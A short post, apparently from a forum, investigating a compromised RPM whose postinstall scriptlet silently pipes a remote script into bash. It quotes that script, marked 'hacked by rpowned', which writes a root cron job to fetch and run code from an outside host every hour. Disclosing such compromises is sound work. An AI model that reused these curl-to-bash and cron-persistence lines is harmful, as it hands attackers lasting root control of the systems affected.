How did installing this RPM create a file?

by 

# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contains:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

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